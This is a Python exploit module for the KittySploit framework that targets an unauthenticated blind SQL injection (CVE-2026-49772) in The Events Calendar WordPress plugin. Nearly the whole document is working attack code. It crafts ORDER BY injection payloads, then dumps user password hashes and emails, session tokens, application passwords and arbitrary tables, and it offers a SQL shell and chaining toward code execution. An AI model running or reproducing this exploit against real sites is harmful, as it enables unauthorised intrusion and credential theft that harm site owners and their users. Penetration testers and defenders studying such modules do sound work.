WordPress The Events Calendar blind SQLi (CVE-2026-49772)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import time
from urllib.parse import urlencode

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress
from lib.protocols.http.sqli import Sqli, sqli_blind_extract_string, sqli_blind_search_int
from core.output_handler import print_table

_PLUGIN = "the-events-calendar"
_VULN_LOW = (6, 15, 12)
_VULN_HIGH = (6, 16, 2)
_EEA = (
    "I understand that this endpoint is experimental and may change in a future "
    "release without maintaining backward compatibility. I also understand that I "
    "am using this endpoint at my own risk, while support is not provided for it."
)


class _EventsOrderOracle:
    """Blind SQLi oracle for The Events Calendar ``order`` parameter (module-local)."""

    def __init__(self, module, *, technique: str = "boolean", delay: float = 2.0):
        self.module = module
        self.technique = technique
        self.delay = delay
        self.requests = 0

    def _send(self, order: str):
        self.requests += 1
        timeout = float(self.module.timeout or 15)
        if self.technique == "time" and "SLEEP" in order.upper():
            timeout = max(timeout, self.delay + 5)
        return self.module._events_get(order, timeout)

    def true(self, cond: str) -> bool:
        if self.technique == "time":
            order = f"ASC,(SELECT CASE WHEN ({cond}) THEN SLEEP({self.delay}) ELSE 0 END)"
            _, elapsed = self._send(order)
            return elapsed >= self.delay

        order = f"ASC,(SELECT CASE WHEN ({cond}) THEN (SELECT 1 UNION SELECT 2) ELSE 1 END)"
        response, _ = self._send(order)
        if not response:
            return False
        body = getattr(response, "content", None)
        if body is None:
            body = (getattr(response, "text", None) or "").encode("utf-8", "ignore")
        return body.strip() == b"[]"

    def gt(self, expr: str) -> bool:
        return self.true(f"({expr})")

    def errors(self, subquery: str) -> bool:
        return self.technique == "boolean" and self.gt(f"LENGTH(({subquery}))>1000000")

    def calibrate(self) -> bool:
        return self.true("1=1") and not self.true("1=2")

    def extract(self, subquery: str, *, threads: int = 8, max_length: int = 1024):
        return sqli_blind_extract_string(
            self.true,
            self.gt,
            self.errors,
            subquery,
            threads=threads,
            max_length=max_length,
        )


class Module(Exploit, Http_client, Wordpress, Sqli):
    __info__ = {
        "name": "WordPress The Events Calendar blind SQLi (CVE-2026-49772)",
        "description": (
            "Exploits unauthenticated blind SQL injection in The Events Calendar 6.15.12–6.16.2 "
            "via ORDER BY on /wp-json/tec/v1/events. Read-only extraction (users, recon, custom SELECT)."
        ),
        "author": ["Joshua van der Poll", "KittySploit Team"],
        "cve": "CVE-2026-49772",
        "platform": Platform.LINUX,
        "references": [
            "https://github.com/joshuavanderpoll/CVE-2026-49772",
            "https://theeventscalendar.com/"],
        "tags": [
            "wordpress",
            "sqli",
            "blind",
            "unauthenticated",
            "the-events-calendar",
            "cve-2026-49772"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation', 'data_exfiltration'],
        'expected_requests': 50,
        'reversible': False,
        'approval_required': True,
        'produces': ['credentials', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }

    action = OptString(
        "check",
        "Action: check, recon, users, user-meta, get-table, query, shell",
        required=True,
    )
    technique = OptString(
        "boolean",
        "Oracle technique: boolean (fast) or time (SLEEP-based)",
        required=False,
    )
    delay = OptFloat(2.0, "SLEEP seconds when technique=time", required=False, advanced=True)
    threads = OptInteger(8, "Parallel extraction threads", required=False, advanced=True)
    rows = OptInteger(30, "Max rows for table dumps", required=False, advanced=True)
    table_prefix = OptString("", "WordPress table prefix (auto-detect when empty)", required=False)
    table_name = OptString("", "Table name for get-table action", required=False)
    where_clause = OptString("", "Extra WHERE clause for table/usermeta dumps", required=False)
    sql_query = OptString("", "Scalar SELECT for query action", required=False)
    sleep_delay = OptFloat(3.0, "SLEEP seconds for check action", required=False, advanced=True)

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(self.path)

    def _events_path(self, order: str) -> str:
        base = self._wp_base()
        query = urlencode({"orderby": "event_date", "order": order})
        prefix = base if base != "/" else ""
        return f"{prefix}/wp-json/tec/v1/events?{query}"

    def _events_get(self, order: str, timeout: float):
        t0 = time.perf_counter()
        response = self.http_request(
            method="GET",
            path=self._events_path(order),
            headers={"X-TEC-EEA": _EEA},
            allow_redirects=True,
            timeout=timeout,
        )
        elapsed = time.perf_counter() - t0
        return response, elapsed

    def _event_count(self, timeout: float):
        response, _ = self._events_get("ASC", timeout)
        if not response or response.status_code != 200:
            return None
        headers = getattr(response, "headers", None) or {}
        total = headers.get("X-WP-Total") or headers.get("x-wp-total")
        if total and str(total).isdigit():
            return int(total)
        return None

    @staticmethod
    def _hexlit(value) -> str:
        if isinstance(value, str):
            value = value.encode("utf-8")
        return "0x" + value.hex()

    def _oracle(self) -> _EventsOrderOracle:
        technique = str(self.technique or "boolean").strip().lower()
        if technique not in ("boolean", "time"):
            technique = "boolean"
        return _EventsOrderOracle(
            self,
            technique=technique,
            delay=float(self.delay or 2.0),
        )

    def sqli_fetch_scalar(self, user_line: str):
        """Sqli mixin: scalar extraction through the events ORDER BY oracle."""
        oracle = self._oracle()
        if not oracle.calibrate():
            print_error("Oracle calibration failed")
            return None
        wrapped = self.wrap_scalar_expression(user_line)
        if not wrapped:
            return None
        inner = wrapped.strip("()")
        if inner.upper().startswith("SELECT"):
            subquery = inner
        else:
            subquery = f"SELECT {inner}"
        return oracle.extract(
            subquery,
            threads=int(self.threads or 8),
            max_length=4096,
        )

    def _ensure_ready(self) -> bool:
        wp_base = self._wp_base()
        timeout = float(self.timeout or 15)

        if not self.wp_rest_has_namespace("tec/v1", wp_base):
            print_error("REST namespace tec/v1 not found — plugin missing or endpoint disabled")
            return False

        version = self.wp_plugin_version(_PLUGIN, wp_base)
        if version:
            in_range = self.wp_version_in_range(version, _VULN_LOW, _VULN_HIGH)
            flag = "affected" if in_range else "outside 6.15.12–6.16.2"
            print_info(f"The Events Calendar version: {version} ({flag})")

        event_count = self._event_count(timeout)
        if event_count is None:
            print_error("Events endpoint not reachable")
            return False
        if event_count == 0:
            print_error("No published events — blind ORDER BY oracle needs >= 1 row")
            return False

        print_info(f"Endpoint live, {event_count} event(s) visible")
        return True

    def _action_check(self) -> bool:
        wp_base = self._wp_base()
        timeout = float(self.timeout or 15)
        delay = float(self.sleep_delay or 3.0)

        if not self.wp_rest_has_namespace("tec/v1", wp_base):
            print_error("REST namespace tec/v1 not found")
            return False

        version = self.wp_plugin_version(_PLUGIN, wp_base)
        if version:
            print_info(f"Plugin version: {version}")

        event_count = self._event_count(timeout)
        if event_count is not None:
            print_info(f"Published events: {event_count}")
        if event_count in (None, 0):
            print_error("Events endpoint unavailable or empty")
            return False

        _, elapsed_a = self._events_get("ASC", timeout)
        _, elapsed_b = self._events_get("DESC", timeout)
        baseline = min(elapsed_a, elapsed_b)
        _, injected = self._events_get(f"ASC,(SELECT SLEEP({delay}))", max(timeout, delay + 5))
        print_info(f"Timing baseline {baseline:.2f}s, injected {injected:.2f}s")

        if injected - baseline >= delay:
            print_success(
                f"VULNERABLE — ORDER BY injection delayed response by ~{delay}s"
            )
            print_info("Sink: ORDER BY on /wp-json/tec/v1/events")
            return True

        print_error("No significant SLEEP delay (likely patched or filtered)")
        return False

    def _detect_prefix(self, oracle: _EventsOrderOracle) -> str:
        override = str(self.table_prefix or "").strip()
        if override:
            return override
        name = oracle.extract(
            "SELECT table_name FROM information_schema.tables "
            "WHERE table_schema=database() AND table_name LIKE 0x255f7573657273 LIMIT 1",
            threads=int(self.threads or 8),
            max_length=64,
        )
        if name and name.endswith("users"):
            return name[: -len("users")]
        return "wp_"

    def _extract_label(self, oracle: _EventsOrderOracle, label: str, sql: str, max_length: int = 512):
        print_status(f"Extracting {label}...")
        value = oracle.extract(sql, threads=int(self.threads or 8), max_length=max_length)
        if value is None:
            print_error(f"{label}: query failed")
            return None
        print_success(f"{label}: {value}")
        return value

    def _action_recon(self, oracle: _EventsOrderOracle) -> bool:
        prefix = self._detect_prefix(oracle)
        print_success(f"Table prefix: {prefix}")

        for label, sql in [
            ("DB version", "SELECT @@version"),
            ("Current user", "SELECT CURRENT_USER()"),
            ("Database", "SELECT DATABASE()"),
            ("Hostname", "SELECT @@hostname"),
            ("Compile OS", "SELECT @@version_compile_os"),
            (
                "Privileges",
                "SELECT GROUP_CONCAT(privilege_type) FROM information_schema.user_privileges",
            )]:
            self._extract_label(oracle, label, sql)

        users = sqli_blind_search_int(oracle.gt, f"SELECT COUNT(*) FROM {prefix}users", 100000)
        print_success(f"WordPress users: {users}")
        print_info(f"Requests sent: {oracle.requests}")
        return True

    def _dump_rows(self, oracle: _EventsOrderOracle, table: str, columns, *, where: str = "", max_rows: int = 30) -> bool:
        cond = f" WHERE {where}" if where else ""
        total = sqli_blind_search_int(oracle.gt, f"SELECT COUNT(*) FROM {table}{cond}", 1000000)
        print_success(f"{table}: {total} row(s)")
        limit = min(total, max_rows)
        if total > max_rows:
            print_info(f"Showing first {max_rows} rows")

        sep = self._hexlit("|")
        coalesced = ",".join(f"COALESCE({col},0x4e554c4c)" for col in columns)
        dumped = []

        for index in range(limit):
            sql = f"SELECT CONCAT_WS({sep},{coalesced}) FROM {table}{cond} LIMIT {index},1"
            row = oracle.extract(sql, threads=int(self.threads or 8), max_length=4096)
            if row is None:
                print_error("Row extraction failed — check table name / WHERE clause")
                return False
            parts = row.split("|")
            while len(parts) < len(columns):
                parts.append("")
            dumped.append(parts[: len(columns)])
            print_success(f"[{index}] {row}")

        if dumped:
            print_table(columns, dumped)
        print_info(f"Requests sent: {oracle.requests}")
        return bool(dumped)

    def run(self):
        action = str(self.action or "check").strip().lower().replace("_", "-")

        if action == "shell":
            if not self._ensure_ready():
                return False
            self.shell_sqli = True
            self.handler_sqli()
            return True

        if action == "check":
            return self._action_check()

        if not self._ensure_ready():
            return False

        oracle = self._oracle()
        print_info(f"Technique: {oracle.technique} | Threads: {int(self.threads or 8)}")
        if not oracle.calibrate():
            print_error("Oracle calibration failed — try technique=time or verify injectability")
            return False

        if action == "recon":
            return self._action_recon(oracle)
        if action == "users":
            prefix = self._detect_prefix(oracle)
            print_status(f"Dumping {prefix}users ...")
            cols = ["ID", "user_login", "user_email", "user_pass", "user_activation_key"]
            return self._dump_rows(oracle, f"{prefix}users", cols, max_rows=int(self.rows or 30))
        if action in ("user-meta", "usermeta"):
            prefix = self._detect_prefix(oracle)
            where = str(self.where_clause or "").strip()
            if not where:
                keys = ["session_tokens", f"{prefix}capabilities", "community_events_status"]
                in_list = ",".join(self._hexlit(k) for k in keys + ["_application_passwords"])
                where = f"meta_key IN ({in_list})"
                print_info("Filtering session/capability/app-password meta keys (override with WHERE)")
            print_status(f"Dumping {prefix}usermeta ...")
            cols = ["umeta_id", "user_id", "meta_key", "meta_value"]
            return self._dump_rows(
                oracle,
                f"{prefix}usermeta",
                cols,
                where=where,
                max_rows=int(self.rows or 30),
            )
        if action == "get-table":
            table = str(self.table_name or "").strip()
            if not table:
                print_error("Set TABLE_NAME for get-table action")
                return False
            print_status(f"Discovering columns for {table} ...")
            cols_csv = oracle.extract(
                "SELECT GROUP_CONCAT(column_name) FROM information_schema.columns "
                f"WHERE table_schema=database() AND table_name={self._hexlit(table)} "
                "ORDER BY ordinal_position",
                threads=int(self.threads or 8),
                max_length=2048,
            )
            if not cols_csv:
                print_error(f"Table '{table}' not found or has no readable columns")
                return False
            columns = [part for part in cols_csv.split(",") if part]
            print_success(f"Columns: {', '.join(columns)}")
            return self._dump_rows(
                oracle,
                table,
                columns,
                where=str(self.where_clause or "").strip(),
                max_rows=int(self.rows or 30),
            )
        if action == "query":
            sql = str(self.sql_query or "").strip()
            if not sql:
                print_error("Set SQL_QUERY for query action")
                return False
            ok = self._extract_label(oracle, "Result", sql, max_length=4096) is not None
            print_info(f"Requests sent: {oracle.requests}")
            return ok

        print_error("Unknown ACTION — use check, recon, users, user-meta, get-table, query, or shell")
        return False